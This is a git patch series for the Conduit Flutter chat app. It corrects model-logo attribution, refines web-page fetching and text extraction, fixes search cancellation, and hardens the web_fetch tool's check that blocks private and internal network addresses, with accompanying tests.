backticks, and keep indentation in plain-text and Markdown pages. - Read user links with an uppercase scheme or a balanced closing paren. - Don't send a search whose cancel signal has already fired; match Brave links on the host boundary; keep results on different ports apart. - Stop bulk settings saves from overwriting web search preferences. - Resolve curated model families before the models.dev index, and stop indexing a lab's hosted copies of another maker's models (Gemma no longer shows NVIDIA's logo); cache rendered logos between picker opens. --- assets/model_logos/catalog.json | 26 +------- lib/core/utils/model_logos.dart | 17 ++++- .../services/model_logo_catalog.dart | 11 ++-- .../services/on_device_web_tools.dart | 36 ++++++++-- .../services/public_web_address.dart | 66 +++++++++++++------ .../services/web_page_extractor.dart | 36 ++++++++-- .../web_search/services/web_page_fetcher.dart | 47 +++++++++++-- .../lib/services/settings_service.dart | 8 +-- .../model_logo_catalog_test.dart | 2 + .../web_search/on_device_web_tools_test.dart | 15 +++++ .../web_search/public_web_address_test.dart | 61 +++++++++++++++++ .../web_search/web_page_extractor_test.dart | 26 ++++++++ packages/conduit_ddgs/lib/src/ddgs.dart | 6 +- .../conduit_ddgs/lib/src/engines/brave.dart | 6 +- packages/conduit_ddgs/test/ddgs_test.dart | 21 ++++++ .../assistant_message_widget_footer_test.dart | 19 +++++- tool/generate_model_logos.dart | 26 +++++++- 17 files changed, 349 insertions(+), 80 deletions(-) create mode 100644 packages/conduit_core/test/features/web_search/public_web_address_test.dart diff --git a/assets/model_logos/catalog.json b/assets/model_logos/catalog.json index b553ac7d1..c13003556 100644 --- a/assets/model_logos/catalog.json +++ b/assets/model_logos/catalog.json @@ -674,12 +674,9 @@ "gemini-flash-lite-latest": "google", "gemini-omni-flash-preview": "google", "gemini-robotics-er-1.6-preview": "google", - "gemma-2-2b-it": "nvidia", "gemma-3-12b-it": "google", "gemma-3-27b-it": "google", "gemma-3-4b-it": "google", - "gemma-3n-e2b-it": "nvidia", - "gemma-3n-e4b-it": "nvidia", "gemma-4-12b-it": "google", "gemma-4-26b-a4b-it": "google", "gemma-4-31b-it": "google", @@ -802,26 +799,17 @@ "llama-3.1-70b-instruct": "meta", "llama-3.1-8b-instruct": "meta", "llama-3.1-nemotron-70b-instruct": "nvidia", - "llama-3.1-nemotron-nano-8b-v1": "nvidia", - "llama-3.1-nemotron-nano-vl-8b-v1": "nvidia", "llama-3.1-nemotron-safety-guard-8b-v3": "nvidia", "llama-3.1-nemotron-ultra-253b": "nvidia", - "llama-3.1-nemotron-ultra-253b-v1": "nvidia", "llama-3.2-11b-vision-instruct": "meta", "llama-3.2-1b": "meta", - "llama-3.2-1b-instruct": "nvidia", "llama-3.2-3b": "meta", - "llama-3.2-3b-instruct": "nvidia", - "llama-3.2-90b-vision-instruct": "nvidia", "llama-3.3-70b-instruct": "meta", "llama-3.3-nemotron-super-49b-v1": "nvidia", "llama-3.3-nemotron-super-49b-v1.5": "nvidia", - "llama-3_2-nemoretriever-300m-embed-v1": "nvidia", - "llama-4-maverick-17b-128e-instruct": "nvidia", "llama-4-maverick-17b-instruct": "meta", "llama-4-scout-17b-instruct": "meta", "llama-guard-3-8b": "meta", - "llama-guard-4-12b": "nvidia", "llama-nemotron-embed-vl-1b-v2": "nvidia", "llama-nemotron-rerank-vl-1b-v2": "nvidia", "lyria-3-clip-preview": "google", @@ -849,7 +837,6 @@ "minimax-m3": "minimax", "minimax-m3.1-flash-preview": "minimax", "ministral-14b": "mistral", - "ministral-14b-instruct-2512": "nvidia", "ministral-3-14b-instruct-2512": "mistral", "ministral-3-3b-instruct-2512": "mistral", "ministral-3-8b-instruct-2512": "mistral", @@ -857,27 +844,20 @@ "ministral-3b-latest": "mistral", "ministral-8b-instruct-2410": "mistral", "ministral-8b-latest": "mistral", - "mistral-7b-instruct-v0.3": "nvidia", "mistral-embed": "mistral", "mistral-large-2411": "mistral", "mistral-large-2512": "mistral", - "mistral-large-3-675b-instruct-2512": "nvidia", "mistral-large-latest": "mistral", "mistral-medium-2505": "mistral", "mistral-medium-2508": "mistral", "mistral-medium-2604": "mistral", - "mistral-medium-3-instruct": "nvidia", - "mistral-medium-3.5-128b": "nvidia", "mistral-medium-latest": "mistral", "mistral-nemo": "mistral", "mistral-nemotron": "nvidia", "mistral-small-2506": "mistral", "mistral-small-2603": "mistral", "mistral-small-3-1-24b-instruct-2503": "mistral", - "mistral-small-4-119b-2603": "nvidia", "mistral-small-latest": "mistral", - "mixtral-8x22b-instruct": "nvidia", - "mixtral-8x7b-instruct": "nvidia", "muse-glimmer-30b": "meta", "muse-spark-1.1": "meta", "muse-spark-1.2": "meta", @@ -919,9 +899,7 @@ "pixtral-large-latest": "mistral", "qvq-max": "alibaba", "qwen-flash": "alibaba", - "qwen-image": "nvidia", "qwen-image-2.1": "alibaba", - "qwen-image-edit": "nvidia", "qwen-max": "alibaba", "qwen-mt-plus": "alibaba", "qwen-mt-turbo": "alibaba", @@ -1028,8 +1006,6 @@ "voxtral-small-24b-2507": "mistral", "voxtral-small-latest": "mistral", "whisper-large-v3": "openai", - "whisper-large-v3-turbo": "openai", - "zai-glm-5-2": "mistral", - "zai-glm-5-3": "mistral" + "whisper-large-v3-turbo": "openai" } } diff --git a/lib/core/utils/model_logos.dart b/lib/core/utils/model_logos.dart index fb3f14be3..5d1be53cc 100644 --- a/lib/core/utils/model_logos.dart +++ b/lib/core/utils/model_logos.dart @@ -75,12 +75,27 @@ String modelLogoAssetPath(String id) => '$_kModelLogoDirectory/$id.svg'; /// Renders a logo as a square PNG for surfaces that can't draw SVG (the /// native iOS model picker). Monochrome logos take [color]; the logo fills /// [logoFraction] of the square so it sits inset on the avatar plate. +/// +/// Results are cached per logo, color and size, so reopening the picker +/// doesn't re-render them. Future rasterizeModelLogo( String id, { required Color color, int pixelSize = 96, double logoFraction = 0.8, -}) async { +}) => _rasterCache.putIfAbsent( + '$id|${color.toARGB32()}|$pixelSize|$logoFraction', + () => _rasterizeModelLogo(id, color, pixelSize, logoFraction), +); + +final Map> _rasterCache = {}; + +Future _rasterizeModelLogo( + String id, + Color color, + int pixelSize, + double logoFraction, +) async { try { final info = await vg.loadPicture( SvgAssetLoader( diff --git a/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart b/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart index 3779cfea2..ef2373619 100644 --- a/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart +++ b/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart @@ -2,8 +2,8 @@ /// app (`assets/model_logos`, regenerated by `tool/generate_model_logos.dart`). /// /// A model gets its maker's logo, found from, in order: a `lab/model` id -/// prefix, the models.dev model index, or a family prefix (`llama3.2` is -/// Meta's). A model whose maker is unknown gets the logo of the provider it +/// prefix, a curated family prefix (`llama3.2` is Meta's), or the models.dev +/// model index. A model whose maker is unknown gets the logo of the provider it /// is served by, matched on the connection's API host. final class ModelLogoCatalog { ModelLogoCatalog({ @@ -66,12 +66,13 @@ final class ModelLogoCatalog { final name = segments.last; final untagged = name.split(':').first; - final indexed = _known(_models[name]) ?? _known(_models[untagged]); - if (indexed != null) return indexed; - + // Families are curated, so they outrank the index, where a lab that + // hosts another's models could otherwise claim them. for (final (prefix, lab) in _families) { if (untagged.startsWith(prefix)) return _known(lab); } + final indexed = _known(_models[name]) ?? _known(_models[untagged]); + if (indexed != null) return indexed; return _providerLogo(baseHost, adapterKey); } diff --git a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart index 2635f9957..5b86a15ac 100644 --- a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart +++ b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart @@ -270,16 +270,44 @@ final class OnDeviceWebToolSession { } /// `http(s)` links in [text], e.g. the user's message, for the fetch -/// allow-list. +/// allow-list. Trailing punctuation is dropped, except a closing bracket +/// that the URL itself opened (`…/wiki/Dart_(programming_language)`). List extractWebUrls(String text) { return [ for (final match in _urlPattern.allMatches(text)) - match.group(0)!.replaceFirst(_trailingPunctuation, ''), + _trimTrailingPunctuation(match.group(0)!), ]; } -final RegExp _urlPattern = RegExp(r'''https?://[^\s<>"'`]+'''); -final RegExp _trailingPunctuation = RegExp(r'[.,;:!?)\]}>]+$'); +final RegExp _urlPattern = RegExp( + r'''https?://[^\s<>"'`]+''', + caseSensitive: false, +); + +String _trimTrailingPunctuation(String url) { + var end = url.length; + while (end > 0) { + final char = url[end - 1]; + if ('.,;:!?\'"'.contains(char)) { + end--; + continue; + } + final open = switch (char) { + ')' => '(', + ']' => '[', + '}' => '{', + '>' => '<', + _ => null, + }; + if (open == null) break; + final candidate = url.substring(0, end); + final opens = open.allMatches(candidate).length; + final closes = char.allMatches(candidate).length; + if (closes <= opens) break; + end--; + } + return url.substring(0, end); +} void _rejectUnexpectedArguments( Map arguments, diff --git a/packages/conduit_core/lib/features/web_search/services/public_web_address.dart b/packages/conduit_core/lib/features/web_search/services/public_web_address.dart index a9a49ef28..3ab7672d2 100644 --- a/packages/conduit_core/lib/features/web_search/services/public_web_address.dart +++ b/packages/conduit_core/lib/features/web_search/services/public_web_address.dart @@ -44,45 +44,69 @@ String normalizePublicWebUrl(String value) { return uri.removeFragment().toString(); } -/// Whether [address] is routable on the public internet: not loopback, -/// private, link-local, carrier-grade NAT, benchmarking, multicast or -/// reserved, including IPv4 addresses embedded in IPv6. +/// Whether [address] is routable on the public internet. +/// +/// IPv4 rejects every IANA special-purpose block (private, loopback, +/// link-local, CGNAT, documentation, benchmarking, protocol assignments, +/// multicast, reserved). IPv6 accepts only global unicast (`2000::/3`), so +/// unique-local, site-local, link-local and multicast fall out, then rejects +/// documentation and Teredo space and checks the IPv4 address inside +/// IPv4-mapped/compatible, NAT64 (`64:ff9b::/96`) and 6to4 (`2002::/16`) +/// addresses, which a network may route to an internal host. bool isPublicInternetAddress(InternetAddress address) { if (address.type == InternetAddressType.unix) return false; final bytes = address.rawAddress; if (address.type == InternetAddressType.IPv4) { return !_isPrivateOrSpecialIpv4(bytes); } - final isUnspecified = bytes.every((byte) => byte == 0); - final isLoopback = - bytes.take(15).every((byte) => byte == 0) && bytes.last == 1; - final isUniqueLocal = (bytes[0] & 0xfe) == 0xfc; - final isLinkLocal = bytes[0] == 0xfe && (bytes[1] & 0xc0) == 0x80; - final isMulticast = bytes[0] == 0xff; - final isIpv4Mapped = - bytes.take(10).every((byte) => byte == 0) && - bytes[10] == 0xff && - bytes[11] == 0xff; - final isIpv4Compatible = bytes.take(12).every((byte) => byte == 0); - return !(isUnspecified || - isLoopback || - isUniqueLocal || - isLinkLocal || - isMulticast || - ((isIpv4Mapped || isIpv4Compatible) && - _isPrivateOrSpecialIpv4(bytes.sublist(12)))); + + bool zeros(int from, int to) => + bytes.sublist(from, to).every((byte) => byte == 0); + // Addresses that carry an IPv4 destination are only as public as it is. + final isIpv4Mapped = zeros(0, 10) && bytes[10] == 0xff && bytes[11] == 0xff; + final isIpv4Compatible = zeros(0, 12); + final isNat64 = + bytes[0] == 0x00 && + bytes[1] == 0x64 && + bytes[2] == 0xff && + bytes[3] == 0x9b && + zeros(4, 12); + if (isIpv4Mapped || isIpv4Compatible || isNat64) { + return !_isPrivateOrSpecialIpv4(bytes.sublist(12)); + } + if (bytes[0] == 0x20 && bytes[1] == 0x02) { + return !_isPrivateOrSpecialIpv4(bytes.sublist(2, 6)); + } + + final isGlobalUnicast = (bytes[0] & 0xe0) == 0x20; + final isDocumentation = + bytes[0] == 0x20 && + bytes[1] == 0x01 && + bytes[2] == 0x0d && + bytes[3] == 0xb8; + final isTeredo = + bytes[0] == 0x20 && + bytes[1] == 0x01 && + bytes[2] == 0x00 && + bytes[3] == 0x00; + return isGlobalUnicast && !isDocumentation && !isTeredo; } bool _isPrivateOrSpecialIpv4(List bytes) { final first = bytes[0]; final second = bytes[1]; + final third = bytes[2]; return first == 0 || first == 10 || first == 127 || (first == 100 && second >= 64 && second <= 127) || (first == 169 && second == 254) || (first == 172 && second >= 16 && second <= 31) || + (first == 192 && second == 0 && (third == 0 || third == 2)) || + (first == 192 && second == 88 && third == 99) || (first == 192 && second == 168) || (first == 198 && (second == 18 || second == 19)) || + (first == 198 && second == 51 && third == 100) || + (first == 203 && second == 0 && third == 113) || first >= 224; } diff --git a/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart b/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart index ea6f114ee..9ba4e23d6 100644 --- a/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart +++ b/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart @@ -18,7 +18,11 @@ final class ExtractedWebPage { ExtractedWebPage extractReadableText(FetchedWebPage page) { if (page.contentType != 'text/html' && page.contentType != 'application/xhtml+xml') { - return ExtractedWebPage(title: '', text: _tidy(page.body)); + // Plain text and Markdown keep their indentation (code, nested lists). + return ExtractedWebPage( + title: '', + text: _tidy(page.body, keepIndent: true), + ); } final document = html_parser.parse(page.body); final title = _title(document); @@ -82,8 +86,12 @@ void _removeChrome(Document document) { for (final selector in _chromeSelectors) { for (final element in document.querySelectorAll(selector)) { // Some sites wrap everything in a
or
; never throw away - // the element that holds the article itself. + // the element that holds the article itself. An article's own header + // carries its title, byline and date. if (_holdsMainContent(element)) continue; + if (element.localName == 'header' && _insideMainContent(element)) { + continue; + } element.remove(); } } @@ -103,6 +111,18 @@ void _removeChrome(Document document) { } } +bool _insideMainContent(Element element) { + for (var node = element.parent; node != null; node = node.parent) { + final tag = node.localName; + if (tag == 'article' || + tag == 'main' || + node.attributes['role'] == 'main') { + return true; + } + } + return false; +} + bool _holdsMainContent(Element element) { final tag = element.localName; if (tag == 'body' || tag == 'html' || tag == 'main' || tag == 'article') { @@ -167,8 +187,14 @@ void _render(Node node, _TextBuffer out) { case 'img': return; case 'pre': + final code = node.text.trimRight(); + // A fence longer than any backtick run inside keeps the block closed. + var fence = '```'; + while (code.contains(fence)) { + fence += '`'; + } out.block(); - out.raw('```\n${node.text.trimRight()}\n```'); + out.raw('$fence\n$code\n$fence'); out.block(); return; case 'code': @@ -247,7 +273,7 @@ final _whitespace = RegExp(r'\s+'); String _collapse(String text) => text.replaceAll(_whitespace, ' ').trim(); /// Trims each line and limits blank runs to one empty line. -String _tidy(String text) { +String _tidy(String text, {bool keepIndent = false}) { final lines = text .replaceAll('\r\n', '\n') .split('\n') @@ -258,7 +284,7 @@ String _tidy(String text) { var inFence = false; for (final line in lines) { if (line.trimLeft().startsWith('```')) inFence = !inFence; - final trimmed = inFence ? line : line.trim(); + final trimmed = inFence || keepIndent ? line : line.trim(); if (trimmed.isEmpty) { blankRun++; if (blankRun > 1) continue; diff --git a/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart index 8fd7b596c..db23ca89d 100644 --- a/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart +++ b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart @@ -91,15 +91,41 @@ class WebPageFetcher { ..autoUncompress = true ..userAgent = userAgent; var stopped = false; + final stopSignal = Completer(); void stop() { if (stopped) return; stopped = true; client.close(force: true); + // Closing the client can't interrupt a DNS lookup or a connect still + // inside the connection factory, so the fetch races this signal too. + stopSignal.completeError( + const WebFetchException('The page took too long to load.'), + ); } final timer = Timer(timeout, stop); unawaited(cancel?.then((_) => stop())); + final work = _fetchWith(client, url, acceptLanguage, () => stopped); + work.ignore(); + stopSignal.future.ignore(); + try { + return await Future.any([work, stopSignal.future]); + } finally { + timer.cancel(); + if (!stopped) { + stopped = true; + client.close(force: true); + } + } + } + + Future _fetchWith( + HttpClient client, + Uri url, + String? acceptLanguage, + bool Function() stopped, + ) async { try { var current = url; for (var hop = 0; ; hop++) { @@ -153,13 +179,10 @@ class WebPageFetcher { } on FormatException catch (error) { throw WebFetchException(error.message); } on Exception { - if (stopped) { + if (stopped()) { throw const WebFetchException('The page took too long to load.'); } throw const WebFetchException('The page could not be reached.'); - } finally { - timer.cancel(); - stop(); } } @@ -220,10 +243,24 @@ class WebPageFetcher { static String _decode(List bytes, String? charset) { switch (charset?.toLowerCase()) { - case 'iso-8859-1' || 'latin1' || 'latin-1' || 'windows-1252' || 'cp1252': + case 'iso-8859-1' || 'latin1' || 'latin-1': return latin1.decode(bytes); + case 'windows-1252' || 'cp1252': + return String.fromCharCodes([ + for (final byte in bytes) + byte >= 0x80 && byte < 0xa0 ? _cp1252High[byte - 0x80] : byte, + ]); default: return utf8.decode(bytes, allowMalformed: true); } } + + /// Windows-1252's 0x80–0x9F, where it differs from Latin-1 (smart quotes, + /// dashes, €). Unassigned bytes map to U+FFFD. + static const List _cp1252High = [ + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, // + 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0xFFFD, 0x017D, 0xFFFD, // + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, // + 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0xFFFD, 0x017E, 0x0178, // + ]; } diff --git a/packages/conduit_core/lib/services/settings_service.dart b/packages/conduit_core/lib/services/settings_service.dart index 8ac7f024a..e63e2d68c 100644 --- a/packages/conduit_core/lib/services/settings_service.dart +++ b/packages/conduit_core/lib/services/settings_service.dart @@ -291,15 +291,11 @@ class SettingsService { _notificationSystemKey: settings.notificationSystem, _notificationChatEnabledKey: settings.notificationChatEnabled, _notificationChannelEnabledKey: settings.notificationChannelEnabled, - PreferenceKeys.webSearchEngine: settings.webSearchEngine.name, - PreferenceKeys.webSearchSafeSearch: settings.webSearchSafeSearch.name, }; + // Web search preferences are written only by their own setters, so a + // bulk save of a stale snapshot can't undo a concurrent change. await PreferencesStore.putAll(updates); - await _putOrRemove( - PreferenceKeys.webSearchRegion, - settings.webSearchRegion, - ); await _putOrRemove(_chatWebSearchEnabledKey, settings.chatWebSearchEnabled); await _putOrRemove( diff --git a/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart b/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart index 2d8c3e823..44c200b7b 100644 --- a/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart +++ b/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart @@ -21,6 +21,8 @@ void main() { // Bare ids use the models.dev index, then family prefixes. ('gpt-5.4', 'api.openai.com', null, 'openai'), ('claude-sonnet-4-5', null, null, 'anthropic'), + // Hosted by NVIDIA too, but made by Google. + ('gemma-2-2b-it', 'integrate.api.nvidia.com', null, 'google'), ('llama3.2:3b', 'localhost', 'ollama', 'meta'), ('qwen2.5-coder:7b', 'localhost', 'ollama', 'alibaba'), // An unknown maker falls back to the provider serving it. diff --git a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart index 52f39a095..9311fa205 100644 --- a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart +++ b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart @@ -149,6 +149,21 @@ void main() { expect(fetcher.fetched, [Uri.parse('https://docs.example.com/guide')]); }); + test('links the user wrote are read as written', () { + expect( + extractWebUrls( + 'See HTTPS://Example.com/Doc, ' + 'https://en.wikipedia.org/wiki/Dart_(programming_language). ' + '(also https://dart.dev/docs)', + ), + [ + 'HTTPS://Example.com/Doc', + 'https://en.wikipedia.org/wiki/Dart_(programming_language)', + 'https://dart.dev/docs', + ], + ); + }); + test('a blocked engine becomes an error the model can read', () async { final session = _session( search: _ddgs(const [], status: 429), diff --git a/packages/conduit_core/test/features/web_search/public_web_address_test.dart b/packages/conduit_core/test/features/web_search/public_web_address_test.dart new file mode 100644 index 000000000..1d13f9373 --- /dev/null +++ b/packages/conduit_core/test/features/web_search/public_web_address_test.dart @@ -0,0 +1,61 @@ +import 'dart:io'; + +import 'package:conduit_core/features/web_search/services/public_web_address.dart'; +import 'package:test/test.dart'; + +void main() { + // web_fetch connects only to addresses this accepts, so every range a + // local or carrier network could route internally must be rejected. + test('only globally routable addresses count as public', () { + const public = [ + '8.8.8.8', + '93.184.215.14', + '2606:4700:4700::1111', + // NAT64 and 6to4 are only as public as the IPv4 address they carry. + '64:ff9b::808:808', + '2002:808:808::1', + ]; + const internal = [ + '10.0.0.1', + '127.0.0.1', + '169.254.169.254', + '100.64.0.1', + '192.168.1.1', + '172.16.0.1', + '192.0.0.170', + '192.0.2.1', + '192.88.99.1', + '198.18.0.1', + '198.51.100.1', + '203.0.113.1', + '224.0.0.1', + '240.0.0.1', + '::', + '::1', + 'fe80::1', + 'fc00::1', + 'fec0::1', + 'ff02::1', + '2001:db8::1', + '2001::1', + '::ffff:10.0.0.1', + '64:ff9b::a00:1', + '64:ff9b::a9fe:a9fe', + '2002:0a00:0001::1', + ]; + for (final address in public) { + expect( + isPublicInternetAddress(InternetAddress(address)), + isTrue, + reason: address, + ); + } + for (final address in internal) { + expect( + isPublicInternetAddress(InternetAddress(address)), + isFalse, + reason: address, + ); + } + }); +} diff --git a/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart b/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart index 61b7fc70a..4ffabf000 100644 --- a/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart +++ b/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart @@ -67,6 +67,32 @@ void main() { expect(page.text, isNot(contains('Popular posts'))); }); + test('an article keeps its own header and code keeps its fence', () { + final page = _extract(''' + +
Site navigation
+
+

Release notes

By the Dart team

+

$_paragraph

+
echo "```"
+done
+
+'''); + + expect(page.text, contains('By the Dart team')); + expect(page.text, isNot(contains('Site navigation'))); + // A fence longer than the backticks inside keeps the block intact. + expect(page.text, contains('````\necho "```"\ndone\n````')); + }); + + test('plain text keeps its indentation', () { + final page = _extract( + '- item\n - nested\n\n code()', + contentType: 'text/markdown', + ); + expect(page.text, '- item\n - nested\n\n code()'); + }); + test('plain text is returned without HTML parsing', () { final page = _extract( '# Notes\n\n\n\nnot a tag\n', diff --git a/packages/conduit_ddgs/lib/src/ddgs.dart b/packages/conduit_ddgs/lib/src/ddgs.dart index 0d8ae336c..de428f0bf 100644 --- a/packages/conduit_ddgs/lib/src/ddgs.dart +++ b/packages/conduit_ddgs/lib/src/ddgs.dart @@ -120,6 +120,8 @@ final class Ddgs { } var cancelled = false; unawaited(cancel?.then((_) => cancelled = true)); + // Let an already-completed cancel land before the first request goes out. + await Future.value(); final failures = []; var anyAnswered = false; @@ -270,7 +272,9 @@ final class Ddgs { final path = url.path.endsWith('/') ? url.path.substring(0, url.path.length - 1) : url.path; - final key = '${url.host.toLowerCase()}$path?${url.query}'; + // http and https copies of a page are the same result; a different + // port is a different site. + final key = '${url.host.toLowerCase()}:${url.port}$path?${url.query}'; final index = indexByKey[key]; if (index == null) { indexByKey[key] = unique.length; diff --git a/packages/conduit_ddgs/lib/src/engines/brave.dart b/packages/conduit_ddgs/lib/src/engines/brave.dart index 232fd4647..4b5c03b63 100644 --- a/packages/conduit_ddgs/lib/src/engines/brave.dart +++ b/packages/conduit_ddgs/lib/src/engines/brave.dart @@ -46,7 +46,11 @@ final class BraveEngine extends SearchEngine { item.querySelector('.result-content > a[href]') ?? item.querySelector('a[href]'); final url = parseResultUrl(link?.attributes['href']); - if (url == null || url.host.endsWith('brave.com')) continue; + if (url == null || + url.host == 'brave.com' || + url.host.endsWith('.brave.com')) { + continue; + } final titleElement = item.querySelector('.search-snippet-title'); final title = cleanText( titleElement?.attributes['title'] ?? titleElement?.text, diff --git a/packages/conduit_ddgs/test/ddgs_test.dart b/packages/conduit_ddgs/test/ddgs_test.dart index 188ee8579..017487424 100644 --- a/packages/conduit_ddgs/test/ddgs_test.dart +++ b/packages/conduit_ddgs/test/ddgs_test.dart @@ -118,6 +118,16 @@ void main() { expect(fake.hosts, [_ddg]); }); + test('an already-cancelled search sends nothing', () async { + final client = _SendRecorder(); + + await expectLater( + Ddgs(client: client).search(query, cancel: Future.value()), + throwsA(isA()), + ); + expect(client.sent, isEmpty); + }); + test('a timed-out engine is skipped and not cooled down', () async { final fake = FakeEngines({ _ddg: (_) => Completer().future, @@ -150,3 +160,14 @@ void main() { expect(response.engine, isNull); }); } + +/// Records requests the moment they are handed to the client. +final class _SendRecorder extends http.BaseClient { + final List sent = []; + + @override + Future send(http.BaseRequest request) { + sent.add(request.url); + return Completer().future; + } +} diff --git a/test/features/chat/widgets/assistant_message_widget_footer_test.dart b/test/features/chat/widgets/assistant_message_widget_footer_test.dart index b9284d3ee..7dd3345f8 100644 --- a/test/features/chat/widgets/assistant_message_widget_footer_test.dart +++ b/test/features/chat/widgets/assistant_message_widget_footer_test.dart @@ -459,9 +459,22 @@ void main() { expect(find.text('2/2'), findsOneWidget); expect(find.byIcon(Icons.content_copy_outlined), findsOneWidget); expect(find.byIcon(Icons.refresh), findsOneWidget); - // The version pager is inline, not in the overflow. - expect(find.byIcon(Icons.chevron_left), findsOneWidget); - expect(find.byIcon(Icons.chevron_right), findsOneWidget); + // The version pager is inline, not in the overflow. On the latest + // version only "back" is available. + expect( + tester.getSemantics(find.bySemanticsLabel('Prev')), + matchesSemantics( + label: 'Prev', + isButton: true, + hasEnabledState: true, + isEnabled: true, + hasTapAction: true, + ), + ); + expect( + tester.getSemantics(find.bySemanticsLabel('Next')), + matchesSemantics(label: 'Next', isButton: true, hasEnabledState: true), + ); expect(find.byIcon(Icons.more_horiz_rounded), findsOneWidget); final refreshPosition = tester.getTopLeft(find.byIcon(Icons.refresh)); diff --git a/tool/generate_model_logos.dart b/tool/generate_model_logos.dart index 08894c296..a5252c598 100644 --- a/tool/generate_model_logos.dart +++ b/tool/generate_model_logos.dart @@ -148,11 +148,31 @@ Future main() async { index(canonical.split('/').last, lab); } } - // First-party listings cover models without a canonical id. + // First-party listings cover models without a canonical id, but labs + // also host each other's models (NVIDIA serves Gemma), so skip any model + // whose canonical id or family names another maker. + String? familyLab(String name) { + for (final entry in _families.entries) { + if (name.startsWith(entry.key)) return entry.value; + } + return null; + } + for (final entry in catalog.entries) { if (!labs.contains(entry.key)) continue; - for (final id in ((entry.value as Map)['models'] as Map).keys) { - index((id as String).split('/').last, entry.key); + final listed = (entry.value as Map)['models'] as Map; + for (final MapEntry(key: id, value: model) in listed.entries) { + final canonical = (model as Map)['canonical_model_id'] as String?; + final maker = canonical != null && canonical.contains('/') + ? logoFor(canonical.split('/').first) + : null; + final name = (id as String).split('/').last.toLowerCase(); + final family = familyLab(name); + if ((maker != null && maker != entry.key) || + (family != null && family != entry.key)) { + continue; + } + index(name, entry.key); } } From 66967f3a87c04d2fca3ab3e51cf4969f7a39e23e Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 13:45:32 +0530 Subject: [PATCH 7/9] Address review: Apple tools, redirects, stored version files - Apple Foundation Models always offer on-device web search: their advertised parameter list covers sampling only, so it hid the toggle. - A search result may only redirect within its own site; links the user wrote may still redirect anywhere public. - Stop starting connections once a fetch is stopped, and close a socket that lands afterwards. - Sanitize files on versions stored with a message, as for every other message, so they can't carry remote request headers. - Render model logos for the native picker in parallel. --- .../native_sheet_hydration_service.dart | 18 +++--- .../services/direct_web_search_mode.dart | 5 ++ .../services/on_device_web_tools.dart | 25 ++++++++- .../web_search/services/web_page_fetcher.dart | 55 ++++++++++++++++--- .../lib/services/conversation_parsing.dart | 18 +++++- .../web_search/on_device_web_tools_test.dart | 32 +++++++++++ .../services/conversation_parsing_test.dart | 17 +++++- .../web_search_availability_test.dart | 26 +++++++++ 8 files changed, 176 insertions(+), 20 deletions(-) diff --git a/lib/core/services/native_sheet_hydration_service.dart b/lib/core/services/native_sheet_hydration_service.dart index b393230ed..139bc2b78 100644 --- a/lib/core/services/native_sheet_hydration_service.dart +++ b/lib/core/services/native_sheet_hydration_service.dart @@ -212,15 +212,17 @@ class NativeSheetHydrationService { // The native sheet can't draw SVG, so bundled model logos go over as // PNG bytes, rendered once per logo in the current theme's ink. + // Rendered in parallel and cached across openings, so only the first + // opening with a new logo waits for it. final logoInk = context.conduitTheme.textPrimary; - final logoBytes = {}; - for (final model in orderedModels) { - final logoId = modelLogoIdFromUrl( - resolveModelIconUrlForModel(api, model), - ); - if (logoId == null || logoBytes.containsKey(logoId)) continue; - logoBytes[logoId] = await rasterizeModelLogo(logoId, color: logoInk); - } + final logoIds = { + for (final model in orderedModels) + ?modelLogoIdFromUrl(resolveModelIconUrlForModel(api, model)), + }; + final rendered = await Future.wait( + logoIds.map((id) => rasterizeModelLogo(id, color: logoInk)), + ); + final logoBytes = Map.fromIterables(logoIds, rendered); if (!context.mounted) return null; final modelOptions = [ diff --git a/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart b/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart index 5644b12f1..d3a3c7fd7 100644 --- a/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart +++ b/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart @@ -39,6 +39,11 @@ DirectWebSearchMode directWebSearchModeFor({ capabilities?['web_search'] == true) { return DirectWebSearchMode.providerHosted; } + // Apple's Foundation Models always take tools; their advertised parameter + // list covers sampling controls only. + if (binding.adapterKey == kApplePccAdapterKey) { + return DirectWebSearchMode.onDevice; + } return directModelMaySupportTools(model) ? DirectWebSearchMode.onDevice : DirectWebSearchMode.unavailable; diff --git a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart index 5b86a15ac..1f13e01a1 100644 --- a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart +++ 